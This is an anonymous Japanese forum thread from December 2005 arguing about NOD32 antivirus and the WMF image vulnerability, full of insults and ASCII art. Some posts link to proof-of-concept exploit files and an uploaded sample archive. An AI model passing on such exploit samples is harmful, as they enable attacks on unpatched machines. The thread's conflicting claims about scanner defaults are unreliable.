鬱■■■▼■■▼■■▼■■▼鬱▼■■■■▼▼▼▼▼鬱
死■■■▼■■▼■■▼▼▼鬱鬱▼■■■■■■▼鬱鬱鬱
死■■■▼■■鬱▼■■鬱鬱鬱死鬱▼▼■■■■▼鬱死死
▼■■■鬱■■鬱▼■■▼鬱死▼鬱鬱鬱▼■■▼鬱鬱死死
▼■■■鬱■■鬱死■■▼鬱▼■■▼▼▼鬱鬱鬱鬱死死死
▼■■▼鬱■■鬱死■■▼鬱▼■■■■■▼▼鬱鬱鬱鬱死
▼■■▼鬱■■鬱死▼▼鬱鬱▼■■■■■■■■▼▼鬱死
▼■■▼鬱■■鬱死鬱鬱鬱鬱鬱▼▼■■■■■■■▼鬱死
死鬱鬱鬱鬱■■鬱死死死死死鬱鬱鬱鬱▼■■■■■▼鬱死
死死死死死■■鬱死死死死死死死死鬱鬱鬱▼▼▼▼鬱鬱死
318 名前：名無しさん＠お腹いっぱい。 mailto:sａge [2005/12/30(金) 16:24:35 ]: 本当に都合のいい解釈だなｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
319 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:31:15 ]: 都合が良いのではなく、節度があると言ってくれ。
スパイウェア専門ソフトの多くが、検出力で顧客を釣るような商売をしている。
クッキーを仕掛けて訪問者の趣向分析を行うだけでスパイ扱いされたり、広告収入で運営されている
フリーソフトを無断で広告したとの理由でスパイ認定。
過敏というより、詐欺に近い実態がその分野の専門ソフトには存在する。

よく確かめもせず、単に反応した数で優劣を決めるのは関心しないな。
NOD32が9位でよかったよ。
320 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:40:07 ]: |￣￣￣￣￣￣￣￣￣|
|　ここでスルー！！　|
|＿＿＿＿＿＿＿＿＿|
　　　 ∧∧ ||
　　　 ( ﾟдﾟ)||
　　　 /　づΦ
321 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:41:03 ]: 319が4で数で決めている件
322 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:41:25 ]: ttp://www.st.ryukoku.ac.jp/%7Ekjm/security/memo/2005/12.html#20051230_tuiki
NOD32 の場合、AMON （これは、いわゆるリアルタイムのチェックを行なうモジュールです）の
チェック対象に既定では WMF ファイルは含まれないようです。
つまり、NOD32 の場合、ウィルス定義ファイル1.1342 (20051228) でトロイとして
検知されるようにはなったものの、これだけでは不十分かもしれないかもしれないと思っています。

NODダサwww
323 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:42:50 ]: ヽ(●´ω｀●)ﾉ
324 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:43:51 ]: 　　　　　　　　　__ , ────── ､__
　　　　　　, - ':::::::::::::::::::::::::::::::::::::::::::::::::::＼
　　　　／；;;;;;;:::::::::::::::::::::::::::::::::;;;;;;;;;;;;;;;;;;;;;;＼
　　　 /,,；,,,,,　；;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;；　　,,,,,,,,；::::::丶
　　 / :::::::::;；,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,；:::::::::::::::::::ヽ
　　 iﾞ:::;:::::||::::::,!i:::::::::::,|i::::::::::::::::::;:::::::::::::::::::::::::::::::ﾞi
　　iﾞ::::|;;;;| |;;;;;| |::::::::::| |:::::::::::::::::||::::::::::::::::::::::::::::::::|
　. iﾞ::::::i　　　　 '''''''''''　'───' |;;;;;;;;;;;;::::::::::::::::::::|
　 .|:::::::|,-====-´　　ﾞヽ,,,,,,,,,,,,,、　　　　|:::::::::::::::::::|
　 |;::::::::|,-──､　　　　~ニニ,,_`　　　|:::::::::::::::::::|
　　｀ヽ､i　(､i´ﾉ　　　　　´い,, ﾉ '　　　|;;;::::::::::::::/　　なんで、NODすぐ死んでしまうん？
　　.　　 i　^~~~ー==─　ー'-+､　　　 /^ﾞ-､;;;;/
　　　　 {　　　　　ヽゝ　　　　　　　　　'-'~ノ
　　　　λ　　　''ﾞﾞ''-''-─､　　　　　 /-'^"
　　　　　ヽ,_　　　 ^~^　　　　　　　 (
　　　　　／｀''丶､　　　　 , -　　　 /^l
　　　　/　／( ﾉ　｀'''''''´~ ＿, - ' ~　ﾞi､
　　　　{　/　／|￣￣￣￣　　　_,-'^¨ }
　　　　{／ /　　ﾞー────'~　　＼|
　　　 /　　　　　　　　　　　　　　　ヽ　＼
325 名前：名無しさん＠お腹いっぱい。 [2005/12/30(金) 16:44:07 ]: >>319

激しく胴着。

昨日追加などでどのソフトも建て増しが目立つ
傾向はしかたがないとしても、アンチウイルスなら
アンチウイルスで特化してリードしていってほしいね
326 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:44:23 ]: 　　＿＿＿_∧∧
～'　＿＿_(´･ω･`)
　ＵU 　　Ｕ U
327 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:45:18 ]: 盛　　　り　　　上　　　が
　　　　　　　　　　　　　　　　　　っ
　　　　　　　　　　　　　　　　　　　　　　て
　　　　　　　　　　　　　　　　　　　　　　　　　ま
　　　　　　　　　　　　　　　　　　　　　　　　　　　い
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　り
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　ま
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　し
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　た
　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　！
328 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:46:35 ]: 梶田の活性が上がってるな
329 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:49:31 ]: m9(^Д^)ﾌﾟｷﾞｬｰｰｰｯ
330 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:49:48 ]: >>322
AMONにWMFを追加しろって書いてあるけど全ての拡張子で設定してあるのが
デフォじゃない？
追加しても意味がなさそうだけど。
331 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:53:19 ]: 見事に荒らされてるねぇ……
332 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:53:47 ]: >>319
本当に節度がある解釈だなｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ
333 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:56:21 ]: >>319
>NOD32が9位でよかったよ。
この締めの言葉の意味が毎回わかんねんだよ。
何がいいんだよ。
334 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:56:31 ]: まあ煽りが多いってことはそれだけ注目されてる証拠だから。
良くも悪くもNODってのは人を魅了してやまない。
　
こんなアンチウイルスソフトが他にあるだろうか。
NOD32ユーザーであることを誇りに思う。
335 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:57:04 ]: ■■■■■■■■■■■■　終了　■■■■■■■■■■■■　
336 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:57:09 ]: 梶田がいなきゃいいソフトなんだろうけどね。
337 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 16:57:44 ]: >>333
雑音を理解するのは無理。
338 名前：名無しさん＠お腹いっぱい。 [2005/12/30(金) 17:00:00 ]: アンチスパイの誤検出を抑えるべきであって検出率が低いのが正解ってのはまちがい
339 名前：192 mailto:sage [2005/12/30(金) 17:02:24 ]: regsvr32 -u %windir%\system32\shimgvw.dll
これで右クリックとかマウスポップアップのは平気になったけど
IfanViewでJpgとかに拡張子変えたものを読み込ませても実行される。
MSが対応したとしてもWMFに対応したアプリ側でも対策されないとだめかも。
しばらくはWMF対応アプリを全部使用不可にさせとくか
AMONの設定を全ファイル検査にするとかで防ぐしかないのかも。

IfanViewに使い勝手似てるビューワでLaView以外になんかいいの知ってる人いたら教えてｗ
340 名前：名無しさん＠お腹いっぱい。 mailto:sage 馬鹿雑音 [2005/12/30(金) 17:08:49 ]: 誰が本当のバカなのかは一目瞭然だな
341 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 17:10:34 ]: 　 ∧＿∧ ｸﾜｯ!
　∩｀iWi´∩　
　ヽ　|m| .ノ
　｜.￣｜
　　Ｕ⌒Ｕ
342 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 17:11:18 ]: 　　　　　　　　　　 (⌒⌒)
　　　　　∧_ ∧ （　ブッ　）
　　　　　( ・ω・` ) ノノ～′
　　　　　　（⊃⌒*⌒⊂)
　　　　　　　/__ノωヽ__）
343 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 17:11:52 ]: 全ファイル検査にしたら重くなるかと思ったけど全然軽いな
344 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 17:14:18 ]: >>340
だな。さすがに9位でよかったが一番バカだろ。
結果自体を気にしないとかアンチスパイではないからどうでもいいとか言い方は色々あるが
9位で”よかった”だからな。良いんだもんな。バカとしか言いようがない。
345 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 17:59:47 ]: 比喩という言葉を知らんのか低能？
346 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:02:35 ]: 　　　　　　　　　／／＼　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　＼＼
　　　　　　　　／／　／　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　＼＼
　　　　　　／／　／　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　　＼＼
　　　　　／／　／　　／￣＼　　　　　　　　　　　　　　　　　　　　／￣＼　　　　　　　　　＼＼
　　　　 /　/＼／　　　 |　　　 |＼　　　　　　　　　　　　　　　　　　|　　　　|＼　　　　　　　　 /　 /＼
　　　　/　/　/　　　　＼＿／＼|　　＿＿＿＿＿＿＿＿__　　　＼＿／＼|　　　　　　　 /　 /　/
　　　 /　/　/　　　　　　　＼＼／　 /＿　　＿＿＿_　　＿/＼　　　＼＼／　　　　　　　 /　 /　/
　　　/　/　/　　　　　　　　　￣　　　＼/　/＼＿___/　/＼＼/　　　　　￣　　　　　　　　 /　 /　/
　　 /　/　/　　　　　　　　　　　　　　　 /　/　/　　 /　/　/￣　　　　　　　　　　　　　　　 /　 /　/
　　/　/　/　　　　　　　　　　　　　　　 /　/　/　　 /　/　/　　　　　　　　　　　　　　　　 /　 /　/
　 /__/__/　　　　　　　　　　　　　　　 /　/　/　　 /　/　/　　　　　　　　　　　　　　　　　/＿/__/
　＼＼＼　　　　　　　　　　　　　／／／＿_/　/___/　　　　　　　　　　　　　　　　／　／／
　　　＼＼＼　　　　　　　　　　　/　＿￣￣＿＿__　 /＼　　　　　　　　　　　　　／　／／
　　　　＼＼＼　　　　　　　　　/__/　/￣￣　　　/__/　 /　　　　　　　　　　　／　／／
　　　　　　＼＼|　　　　　　　　＼＼/　　　　　　＼＼/　　　　　　　　　　　　＼／／　　　ハァ？
347 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:03:56 ]: > NOD32 の場合、AMON （これは、いわゆるリアルタイムのチェックを行なうモジュールです）の
> チェック対象に既定では WMF ファイルは含まれないようです。

WMFは実行ファイルでもなければ、インタープリタの実行ソースでもない。
MSのコンポーネントのバグが原因で間違って実行ソース扱いをしてしまい、その結果オーバーラン現象を引き起こし
脆弱性を晒しているだけだ。

Eset社では、その脆弱性を利用するコードを検知するシグネチャを1.1342でリリース済みだから、それだけでWMFの脆弱性は
完全に防いでいる。

無知でない限り、WMFを調査対象にしろという奴はいないよ。
348 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:09:03 ]: 実際防がれてるんだからどうでもいいよね？
349 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:10:23 ]: >>330
> AMONにWMFを追加しろって書いてあるけど全ての拡張子で設定してあるのが
> デフォじゃない？

デフォルト値では、登録済みの拡張子だけを対象としている。
WMFについては>>347
350 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:11:10 ]: ログ流しだろうかw
351 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:14:13 ]: >>345
はぁ？　「9位でよかった」が比喩？　馬鹿さが突き抜けてるな。
352 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:14:19 ]: つか自演だろ....
冬だねえ
353 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:14:50 ]: ＼＿＿＿＿＿＿　　＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　　　　　　　○
　　　　　　　　　　Ｏ　ﾓﾜﾓﾜ
　　　　　　　 ∧∧　！　　ｶﾞﾊﾞｯ! ／￣￣￣￣￣￣￣￣
　　　　＿＿_(；ﾟДﾟ)_＿＿　　　＜　夢かっ・・・！！
　　　　|　〃( つ　つ　　 |　　　　＼＿＿＿＿＿＿＿＿
　　　　|＼ ⌒⌒⌒⌒⌒⌒＼
＼＿＿＿＿＿＿　　＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　　　　　　　○
　　　　　　　　　　Ｏ　ﾓﾜﾓﾜ
　　　　　　　 ∧∧　！　　ｶﾞﾊﾞｯ! ／￣￣￣￣￣￣￣￣
　　　　＿＿_(；ﾟДﾟ)_＿＿　　　＜　っていう夢かっ・・・！！
　　　　|　〃( つ　つ　　 |　　　　＼＿＿＿＿＿＿＿＿＿
　　　　|＼ ⌒⌒⌒⌒⌒⌒＼
＼＿＿＿＿＿＿　　＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　　　　　　　　○
　　　　　　　　　　Ｏ　ﾓﾜﾓﾜ
　　　　　　　 ∧∧　！　　ｶﾞﾊﾞｯ! ／￣￣￣￣￣￣￣￣￣￣￣￣￣
　　　　＿＿_(；ﾟДﾟ)_＿＿　　　＜　今度こそ夢だったのかっ・・・！！
　　　　|　〃( つ　つ　　 |　　　　＼＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　　　　|＼ ⌒⌒⌒⌒⌒⌒＼
354 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:15:30 ]: >>319 >>345
　　　ﾊﾟｼｬ　ﾊﾟｼｬ　ﾊﾟｼｬ　ﾊﾟｼｬ　ﾊﾟｼｬ　ﾊﾟｼｬ　ﾊﾟｼｬ　ﾊﾟｼｬ　　ﾊﾟｼｬ　ﾊﾟｼｬ
　∧_∧　　　　　∧_∧ 　　　 ∧_∧　　∧_∧　　　　∧_∧　　　　 ∧_∧
　(　　 )】　　　(　　 )】　　　 (　　 )】【(　　 )　　　【(　　 )　　　【(　　 )
　/　 /┘　.　　/　 /┘.　　　/　 /┘ └＼＼　　└＼＼　　 └＼＼
ノ￣ゝ　　　　ノ￣ゝ　　　　ノ￣ゝ　　　　ノ￣ゝ　　ノ￣ゝ　　　ノ￣ゝ
355 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:15:41 ]: >>347
ジグネチャにしては頑張って調べたな。えらいえらい。
356 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:16:20 ]: ジグネチャの検索結果のうち日本語のページ約 28 件中 1 - 8 件目 (0.25 秒)
357 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:18:04 ]: ちなみに、拡張子を無視するとどうなるかを説明しておく。
2chでは、htmlとjavaで書かれたマクロウィルスコードが多数ノートンの誤検知を誘うように投稿されている。
NOD32もKasperskyも当然ながらそれらを検知することはない。

しかし、2chビューアを使うとそれ等のマクロウィルスコードを含むデータがローカルディスクに拡張子=.datのファイルとして
保存されるようになる。
拡張子を無視して検知するような仕組みにするとこの.datファイルを誤検知するようになる。
NOD32はちゃんと実行可能型であるのか、拡張子が適切かを判断しているから.datを検査対象にしても誤検知することはない。
しかし、それらがいい加減なKaspersky等はしっかりと誤検知してしまう。
358 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:19:19 ]: >>345
比喩・・・お前本当に国語の義務教育受けたのか・・・？
359 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:20:27 ]: >>356
どんどん増えてくな。
ちなみに347と357のことだが。
360 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:20:57 ]: 検証用ファイル

ttp://grin.flagbind.jp/runcalc.wmf　電卓が起動するだけ
ttp://kikuz0u.x0.com/wmf_exp.html　メモ帳が起動するだけ

ノッドさん反応あり
361 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:21:25 ]: 今回はどこが比喩なのですか？
362 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:25:55 ]: >>360
Kasperskyは未だに対応していない。
Kasperskyのホームページで対応済みと書かれていたことを考慮すると、配布されたシグネチャは
脆弱性を利用するコードを検知するものではなさそう。
つまり、Kasperskyは脆弱性を利用するウィルスが出現したときに新たなシグネチャを発行しないと対応できないということ。
363 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:32:02 ]: >>362
言ってることが滅茶苦茶だな・・・。
ちゃんとシグネチャと打てたことだけ評価するよ。
364 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:32:57 ]: > 言ってることが滅茶苦茶だな
理由かけよw
365 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:35:29 ]: >>363
そういえば低脳もいつの間にかやめてるね、あの物体w
366 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:39:31 ]: >>364
いや、どこが比喩なのかわからないし。
367 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:40:19 ]: 読解力が非常に乏しい人がいるようなので>>362を書き直しておく。

>>360
Kasperskyは未だに検証用ファイルを検知しない。
Kasperskyのホームページでは、該当する脆弱性に対応したシグネチャを配布済みと書かれていたことを考慮すると、配布されたシグネチャは
脆弱性を利用するコードを検知するものではなさそう。
つまり、Kasperskyは該当する脆弱性を利用したウィルスが出現したときに新たなシグネチャを発行しないと対応できないということ。

これで理解できるかなw
368 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:42:30 ]: ここはKasperskyスレになりました。
369 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:44:23 ]: >>367
お前親切だな。
そこまで書けば、>>357の意味も含めて理解されるとは思うが・・・
>>368のような屑には効き目が無い。
370 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:44:55 ]: いえ、雑音自演スレです。
371 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:46:38 ]: >>367
改行のやり方さえ知らないのか・・・。
お前の頭がおかしいのは「検知するものではなさそう」という仮定を
最後の締めでなぜか断定材料にしてしまっていること。
なにがつまり、だ。繋がってないんですよ。アホですか？
372 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:47:40 ]: ネタスレでマジレスイクナイ
373 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:48:11 ]: > 改行のやり方さえ知らないのか・・・。
いまどき随分と解像度の低い画面を使っているんだな。
374 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:49:24 ]: >>371
しょぼい反論しか出来ないのはわかった
375 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:49:40 ]: > お前の頭がおかしいのは「検知するものではなさそう」という仮定
仮定ではなく事実検知しない。
その根拠は>>360を検知しないこと。
376 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:49:55 ]: 携帯を知らんらしいw
377 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:50:56 ]: 携帯で見てたら改行はむしろない方がいいだろ・・・
378 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 18:52:37 ]: これも何かの比喩のつもりなのだろうか。
379 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 19:02:50 ]: ノッドさんは32歳！
380 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:07:08 ]: みんなゴジーラタイムなのか？急に書き込み減ったな
381 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:14:20 ]: >>347-349
BlackspearのNOD32推奨設定どおりに初回の設定してあれば、
AMONは全ての拡張子を検査対象になってるのでOK。

拡張子がWMFであろうと、なかろうと（＝偽造）ちゃんと防いでくれる。
382 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:15:34 ]: >>375
っバーカ。そこにある仮定はカスペのシグネチャに対するモノだ。
383 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:16:28 ]: >>380
雑音がいなくなっただけかと。

また自演で糞レス続けるのだろうけど。
384 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:19:39 ]: >>376
マジ？　こんなバカみたいな長文を携帯で書いてんの？　それこそないだろ。
異様なところで改行（しかも毎回同じ部分）してるところを見ると専用ブラウザさえ使ってないのかもな。
385 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:21:19 ]: >>381
デフォルトではAMONは検査対象になっていない。
単にIMONが検出するだけだ。
386 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:36:29 ]: >>385
だれもデフォルトとはいってないけど？ｗ

>BlackspearのNOD32推奨設定どおりに初回の設定してあれば、

ってあるが、この推奨設定で全ての拡張子が対象になるんだよ。

一人で勘違いしてないで、ちゃんとよく読んでレスしなよｗ
387 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:37:56 ]: ぶざまだな
388 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:40:06 ]: >>386
その推奨設定はダメだ。
初心者で良く理解していない人の推薦値を薦めないでくれ。

デフォルトで十分。
拡張子を変更してダウンロード出来てもそれはそれ、ただのゴミ屑にすぎない。
389 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:42:03 ]: 　　　　　　 ,,,,,,,,,,　　　　　　　　　　　　　　　　　　　　 ,,ii,,、　　　　 ,,,i,,、　　
　　　　　　.,lllllllll,,,,,,,,,,,,,,,,,,,,,,,　　　　　　　　　　　　　 ,iillllllllllii,,　　　　,,,iillllllllii,,,　　
　　iiiiiiiillllllllllllllllllllllllllllllllllllllll|　　　　　　　　　　　　　　　ﾞﾞ!lllllllllllllir　.,,,iilllllllllllllll!ﾞﾞ′
　 .llllllllllllllllllllllllll!!!!!!!!!!!!!!!!!″　　　　　　　　　　　　　　　　ﾞﾞ!!ll!ﾞ",,,iilllllllllllll!!ﾞﾞ゜　　　
　 .ﾞﾞﾞﾞﾞﾞ”゛ llllllllllliiiiiiii,,,,,,,、　　　　　　　　　　　　　　　　　　 ,,,iillllllllllll!!ﾞﾞ゜＿__,,,,,　
　　　 ,,,iiillllllllllllllllllllllllllllllliii,,　　　　　　　　　　　　 ,,,,,,,,,iiiiiiilllllllllllllllllllllllllllllllllllllllll　
　　.,,illlllllllllllllllllllﾞﾞﾞﾞﾞﾞ!!llllllllllllli,　　　 .,,,,,iiiiiiiiiiiiiiiiiii,,,、　 .llllllllllllllllllllllllllllllllllllllllllllllll!!!!!!l　
　 ,illllllllll!ﾞﾞllllllllll|　　,illlllllllllllllll,　 liilllllllllllllllllllllllllllllllli,,　 lllllllllll!!lllllllllllllll!!ﾞﾞﾞ”｀　　　　　
　,llllllllllﾞ　.lllllllllll　.,,illlllllllllllllllllll、ﾞllllll!!ﾞﾞﾞ’　　ﾟﾞllllllllll　ﾞﾞ”｀.,illllllllll!lﾞ’　　　　　　　　　
: llllllllll° .llllllllllll,illllllllll!ﾞ｀lllllllllll　 .ﾞﾞ゜　　　　　 ,llllllllll!　　　,llllllllllll°　　　　　　　　　
: llllllllll,　　lllllllllllllllllll!ﾞ゜　,lllllllllll　　　　　 ,,,illllllllll!゜　　 .llllllllllllli,_　　　 ,,,,,,,,iiiiiii、　
: 'lllllllllllliiilllllllllllllll!!ﾞ’　　,lllllllllll°　　　 .,,,,iiillllllllllll!ﾞ゜　　　ﾞ!llllllllllllllllliillllllllllllllllllllllll,、　
　.ﾞ!!lllllllllllllllll!!!ﾞﾞ｀　　　.l!!llllllll°　　　　.ﾞ!lllllll!!!ﾞ°　　　　　ﾞﾞ!!llllllllllllllllllllllllllllll 　
390 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:45:55 ]: >>389
IMONのデフォルト値は全てのファイルになってるんだよ。
だから、拡張子を変えて尚且つMSコンポーネントが誤動作する場合はIMONで検知される。

AMONで全てのファイルを対象にするのは無意味。
単に、常駐モジュールを重くしているだけ。
391 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:53:33 ]: だからAMONは初期値ですべて拡張子が対象なんだって
対象にする拡張子を指定した場合の初期値には含まれてないけど。
392 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:53:34 ]: なんじゃそりゃそりゃ
393 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:59:17 ]: だめぽ
394 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 20:59:49 ]: こりゃ、最悪だな
395 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:05:29 ]: 理解できない低能が常駐していますか？
396 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:05:49 ]: >>391
違う。
397 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:06:43 ]: >>396
違わなえよ。
嘘言ってるなって
398 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:08:00 ]: 違わなえよに該当するページが見つかりませんでした。

検索のヒント
キーワードに誤字・脱字がないか確かめてください。
違うキーワードを使ってみてください。
より一般的な言葉を使ってみてください。
399 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:10:23 ]: これって、lzhに対応していないの？
400 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:23:38 ]: >>397
いま、最新の日本語バージョンをダウンロードしてインストールしてみた。
確かに、最新の日本語バージョンをインストールするとデフォルトで全て対象になってる。

旧バージョンがらのUPDATEだと規定値は以前のままだ。
重くなるだけなのだが、IMONを停止した状況等を考慮するのならデフォルトは全てのほうが良いかもな。

とりあえず、すまんかった。
401 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:25:50 ]: 違わなえよには突っ込まないのか？
402 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:26:47 ]: 自演なんかもわからんね
403 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:26:50 ]: AMON初期値はすべての拡張子の検査になってねえよ。
つーかそんなことになってたら鬱陶しすぎる。
404 名前：400 mailto:sage [2005/12/30(金) 21:27:19 ]: >>401
そういうバカな突っ込みは、荒らしに任せておけw
405 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:27:56 ]: 勝手に他人のレス番を名乗っている悪寒
406 名前：400 mailto:sage [2005/12/30(金) 21:28:33 ]: >>403
いや、>>400のとおりだ。
まぁ、ちゃんと理解して使う人は設定値を変えるだろうから心配する必要は無いと思う。
407 名前：400 mailto:sage [2005/12/30(金) 21:29:18 ]: お前誰？
408 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:30:21 ]: すべて対象でもほとんど重くなんてならんよ
409 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:30:56 ]: ranobe.com/up/upload.html
up79484.zip
pass wmf

AMONで検出できんの？
410 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:32:17 ]: これ入れてる限り、フレッツスクウェア、v6ステージ、CTU設定画面に行けんて
なんちゅうソフトじゃ
411 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:33:18 ]: できるにきまってんだろ
412 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:33:54 ]: 違わなえよ
413 名前：400 mailto:sage [2005/12/30(金) 21:34:24 ]: >>408
書庫をターゲットにしないから普通はそうなのだが、巨大なISOファイル等が多くあると少し重くなってしまう。
一般的には気にしないレベルだろうから問題は無いけどな。
NOD32のアーキティクチャが好きな人には結構拘りがあるから気にしないで欲しい。
414 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:34:53 ]: アーキティクチャの検索結果のうち日本語のページ約 746 件中 1 - 10 件目 (0.62 秒)
415 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:35:18 ]: いまノートンのIS使っててもうすぐ期限が切れるから変えようと思ってるんだけど
とりあえずNOD32とZoneAlarmとSpywareBlasterとSpywareGuardでいいの？
いままではセットだったから良くわからないんだけど
416 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:35:56 ]: ZoneAlarmは設定が簡単なので最強だそうだw
417 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:39:13 ]: ZoneAlarmは簡単で運用もし易いが、専用DBが肥大化するのが欠点。
肥大化すると重くなる。

NOD32の購入者はOutpost2.7日本語バージョンを安く購入できる特典がある。
たしか2000円？
418 名前：名無しさん＠お腹いっぱい。 mailto:sage [2005/12/30(金) 21:40:16 ]: >>416
シンプルオブベストっていう言葉を知らんのか？
